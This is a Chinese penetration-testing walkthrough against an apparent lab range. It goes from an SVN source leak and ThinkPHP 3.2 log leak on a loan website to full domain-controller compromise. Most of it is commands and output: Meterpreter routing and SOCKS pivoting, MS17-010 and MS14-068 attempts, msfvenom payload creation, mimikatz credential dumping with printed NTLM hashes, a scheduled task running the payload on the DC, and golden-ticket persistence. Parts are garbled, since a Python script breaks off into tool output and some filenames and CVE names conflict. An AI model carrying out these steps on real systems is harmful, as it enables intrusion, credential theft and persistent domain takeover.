从外网Thinkphp3日志泄露到杀入内网域控 您所在的位置:网站首页 thinkphp日志包含漏洞 从外网Thinkphp3日志泄露到杀入内网域控

从外网Thinkphp3日志泄露到杀入内网域控

2023-09-17 19:41| 来源: 网络整理| 查看: 265

环境

DC域控:10.10.10.149

WEB:192.168.2.27(外网)、10.10.10.150(内网)

Kali:192.168.2.28

本文知识点:

svn源码泄露

thinkphp3日志泄露

贷款后台getshell

msf下的内网渗透

ms16-048提权到域控

黄金票据

主机发现

信息搜集

首先使用nbtscan对内网进行扫描,发现靶机ip为192.168.2.27:

nbtscan -r 192.168.2.4/24

之后对靶机进行端口扫描:

nmap -A 1-65535 -sV 192.168.2.27

由上图可知,目标开放了80端口,其中用的是phpstudy搭建的网站,用ip打开发现是一个403:

那么对其扫描目录看看有没有敏感文件:

dirb http://192.168.2.27/

并没有扫描到可利用的文件,估计是字典问题。

由于上面扫描结果发现目标有一个域名:webhack123.com,我们访问其看发现是一个贷款网站:

使用whatweb查看网站信息:发现是ThinkPHP框架:

之后继续进行目录扫描:

dirb http://www.webhack123.com

发现一个 svn 目录,有可能是 svn 文件泄露!

svn 文件泄露漏洞

之后使用 github 上的利用工具进行利用:https://github.com/admintony/svnExploit

python SvnExploit.py -u http://www.webhack123.com/.svn

下载目标源码:

python SvnExploit.py -u http://www.webhack123.com/.svn --dump

其中发现一个wc.db数据库文件:

那么我们就可以打开这个文件查看数据库:里面有网站文件

sqlitebrowser wc.db

看着目录结构应该是tp低版本的,反正不可能是tp5:

其中发现有很多日志文件:

thinkphp3.2日志泄露漏洞

由于是tp低版本的,我在网上找到了一个日志泄露漏洞:https://blog.csdn.net/Fly_hps/article/details/84994290

发现当前的tp版本是:tp3.2

THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log

由于这个版本的thinkphp的错误日志里会显示出数据库的sql执行信息,而我们要找的是数据库密码、网站后台登陆密码,这样才能对我们有利用价值,而且我们看日志只需要看最新的日志,因为考虑到目标可能更改了密码,而最新的密码是不会更改的!

其中最新的日志是App/Runtime/Logs/19_03_18.log:

通过crlt+f快速锁定password,得到一些账号和密码哈希值:

admin 10470c3b4b1fed12c3baac014be15fac67c6e815 18888888888 10470c3b4b1fed12c3baac014be15fac67c6e815

解密之后得到明文为:123456

既然拿到管理员后台账号密码了,我们就去找后台地址吧!

后台查找

一般来说我们找网站后台无非几种方法:

目录查找:一般的目录是 /admin,/login ...子域名查找:admin.saulgoodman.cn,user.saulgoodman.cn ...Host碰撞子域名:这种不常见,渗透过程中需要绑定hosts才能访问的弱主机或内部系统(适用于靶场、CTF)

因为之前我们对他进行目录扫描了,没有找到后台地址,那么还有子域名和Host碰撞子域名。

而子域名的话由于是靶场,一般来说没得,只能通过ip碰撞的形式,就是下面的方法。

所以我们采用第三种方式:ip-host碰撞查找子域名

Host_Ip碰撞工具:https://github.com/fofapro/Hosts_scan

host.txt里填写的是要碰撞的子域名:webhack123.com,admin... 可以自行添加字典!

ip.txt里填写的是目标的ip:192.168.2.27

python IP_hosts_scan_multithreading.py

运行完后,能访问到的子域名会在本地的host_ok.txt保存:

可以看到上图,只有admin.webhack123.com的子域名是200状态码,那么我们修改一下我们的hosts文件才可以访问:

vi /etc/hosts

这个时候就能访问:admin.webhack123.com

这个时候通过之前拿到的后台密码发现登陆失败:

有两种情况:

目标密码根本不是我们之前获取到的密码日志不是2020年的导致我们获取到的密码不对

回炉再造之峰回路转重新查找目标日志,由于之前我找到的是19年的日志,密码不对,因此我们写一个python脚本来锁定20年的日志:

#coding:utf-8 import requests url ="http://www.webhack123.com/App/Runtime/Logs" def add_urls(patch,y): urls=[] for i in range(1,7): for j in range(1,32): if i msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate HACKBOX WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d } 0;47706 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d } 0;423161 NTLM WEB Administrator lm{ c6125126643bbe191e929ffc01395127 }, ntlm{ 086a0bb1ed4ec72250760ea531bf8074 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;999 Negotiate HACKBOX WEB$ n.s. (Credentials KO

为了验证一下我们查看一下目标:ipconfig /all,发现目标是存在域环境的,主机名是:web,域是:hackbox.com,并且目标是有双网卡,有一个内网网卡,内网ip为:10.10.10.150,其中dns服务器是:10.10.10.149

一般情况下,域控制器的ip地址就是dns服务器ip,10.10.10.149这个ip有可能是域控制器的ip!

如果不是的话,我们还可以通过MSF的模块来搜集域内信息:

# 查看是不是域环境 run post/windows/gather/enum_domain

当前的域是:hackbox,dc(域控制器)的ip为 69.172.201.153,这个ip是一个外网ip,由于是靶机的情况下,他找不到内网ip,就只能找外网的了,我们不用管。

通过域内信息搜集,发现hackbox域内只有两个主机:dc、web,而web是当前我们拿到权限的的主机:10.10.10.150,而dc应该就是:10.10.10.149:net view /domain:hackbox

这个时候ping一下dc就直接确定了dc的ip为:10.10.10.149:

之后我们需要做域内渗透,由于我们kali不能直接访问目标的内网,那么我们就需要做一层路由代理,才能对目标内网进行渗透!

添加路由:

run autoroute -s 10.10.10.0/24

然后进行socks代理:

use auxiliary/server/socks4a

再设置 proxychains:

vi /etc/proxychains.conf

这样就能对它内网进行渗透了,在使用工具的时候,命令前面加一个:proxychains

PS:proxychains不支持udp和icmp协议,因此我们需要对目标进行tcp扫描!

对域控进行端口扫描:

proxychains nmap -sT -Pn 10.10.10.149

发现目标开启了445端口,看看有没有ms17010:

auxiliary/scanner/smb/smb_ms17_010 set rhosts 10.10.10.149 run

发现目标存在永恒之蓝!

随其进行ms17010漏洞利用:(由于目标是内网,不能出网,我们只能设置正向的payload,类似于cs的中转上线)

use exploit/windows/smb/ms17_010_eternalblue set rhosts 10.10.10.149 set payload windows/meterpreter/bind_tcp exploit

但是利用失败了:(ms17017有的时候就有点玄学)

这个时候我们可以尝试kerberos域用户提取的漏洞:ms14-068,他能够将域内任意用户提取到域管理员!

关于这个漏洞大家可以去我公众号:渗透攻击红队查看相关文章,我之前有写过!

Ms14-068 提权到域控

由于之前我们获取到了web的密码为:!@#Qwe456,然后尝试进行远程桌面登陆域用户:发现登陆失败,域用户web应该是没有远程桌面的权限的

但是我们可以通过登陆它的工作组:

.\administrator !@#Qwe456

那么我们之间吧ms14-068.exe上传到目标web的主机上:

upload /root/ms14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/ms14-068.exe

然后切换到ms14-068.exe那个文件的目录下:

cd C:\phpstudy_pro\WWW\www.webhack123.com\ chcp 65001 # 设置一下字符编码

由于使用ms14-068需要一个域用户的账号密码,和域用户的sid,以及域控的ip,而我们没有sid,那么我们需要使用msf查看域用户web的sid:

run post/windows/gather/enum_logged_on_usersRecently Logged Users ===================== SID Profile Path --- ------------ S-1-5-18 %systemroot%\system32\config\systemprofile S-1-5-19 C:\Windows\ServiceProfiles\LocalService S-1-5-20 C:\Windows\ServiceProfiles\NetworkService S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX

之后就可以使用ms14-068进行攻击了:

user:hackbox\web pass:!@#Qwe456 sid:S-1-5-21-2005268815-658469957-1189185684-1103 命令如下: ms14-068.exe -u [email protected] -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149

生成的票据为:[email protected]

之后就可以使用mimikatz进行攻击了,由于msf下的mimikatz是阉割版,功能只有几个:

所以我们需要上传一个mimikatz到目标机器上进行攻击:

upload /root/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/ upload /root/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/ upload /root/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/

之后进入到mimikatz的目录进行攻击:

mimikatz.exe # 清楚目标内存中的所有票据 kerberos::purge# 将票据注入到目标内存 kerberos::ptc [email protected] # 查看当前票据 kerberos::list

PS:这个票据只能用7天,之后就不能使用了!

这个时候,我们就可以通过dir命令查看到目标域控的文件了:

dir \\dc\c$

最后可以使用定时任务让目标dc上线到msf,而我们要生成一个木马让目标上线,注意这里生成的木马需要是正向的,不然目标上线不了:

msfvenom -p windows/meterpreter/bind_tcp lport=10000 -f exe >10000.exe

然后吧10000.exe先上传到web主机上,之后再上传到目标dc机器上:

upload /root/10000.exe C:/phpstudy_pro/WWW/www.webhack123.com/

接下来使用copy命令吧4567.exe上传到dc的c盘下:

copy 10000.exe \\dc\c$\10000.exe

由于我们使用的是at定时任务让dc执行,那么我们需要知道目标系统的时间:

net time \\dc

那么我们让他创建一个定时任务:

# 让dc再4.35的时候执行c盘下的10000.exe at \\dc 16:47 c:/10000.exe

最后使用MSF设置监听等待上线:

use exploit/multi/handler set payload windows/meterpreter/bind_tcp set lport 10000 set rhost 10.10.10.149 exploit

上线成功,我们先迁移进程到服务:(维持权限)

之后使用模块抓取dc的密码hash:

meterpreter > run post/windows/gather/smart_hashdump [*] Running module against DC [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/20201115171547_default_10.10.10.149_windows.hashes_505928.txt [+] This host is a Domain Controller! [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 [+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98 [+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074 [+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:b5687482bfafb113dc345bb46ef81d69 [+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:9c85552a37071a3d5cb1323478044b0d

加载mimikatz抓取域控明文密码:

wdigest

密码是:Admin12345,到这一步我们的渗透已经完成%99了!

只要我们愿意,我们就可以登陆它的远程桌面(一般别用,你们懂的)

结尾 - 黄金票据

最后如果对方改密码了,我们可以通过创建一个黄金票据来进行权限维持:

我们先回到web的session,然后加载mimikatz和kimi吧web内存中的票据清除:

load mimikatz load kiwi kerberos_ticket_purge

这样就不能访问到目标dc了!

黄金票据需要获取域名称、域的sid、域控的Krbtgt账号的密码hash值,任意域用户!

wmic useraccount where name="krbtgt" get sid S-1-5-21-2005268815-658469957-1189185684-502

还有一种方法获取sid:

meterpreter > dcsync_ntlm krbtgt [+] Account : krbtgt [+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98 [+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b [+] SID : S-1-5-21-2005268815-658469957-1189185684-502 [+] RID : 502

由于我们是系统权限,我们需要切换到域管到权限才能执行下面的命令:

之后就可以制作黄金票据了:

域名:hackbox.com 域用户:web krbtgt的sid:S-1-5-21-2005268815-658469957-1189185684-502 krbtgt的ntlm-hash:6f60ace6accbcb76078ccc0312174e98

使用命令导出票据:

golden_ticket_create -d hackbox.com -u web -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /root/krbtgt.ticket -k ntlm-hash -s krbtgt的sid -t 导出票据的目录 sid后面的502不需要写在命令里

拿到票据之后我们先切换到web的session,可以看到我们现在是无法访问到dc的:

我们接下来就可以导入黄金票据:

kerberos_ticket_use /root/krbtgt.ticket

这个时候我们就可以一直访问得到dc了:

最终在域控下拿到了flag:



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有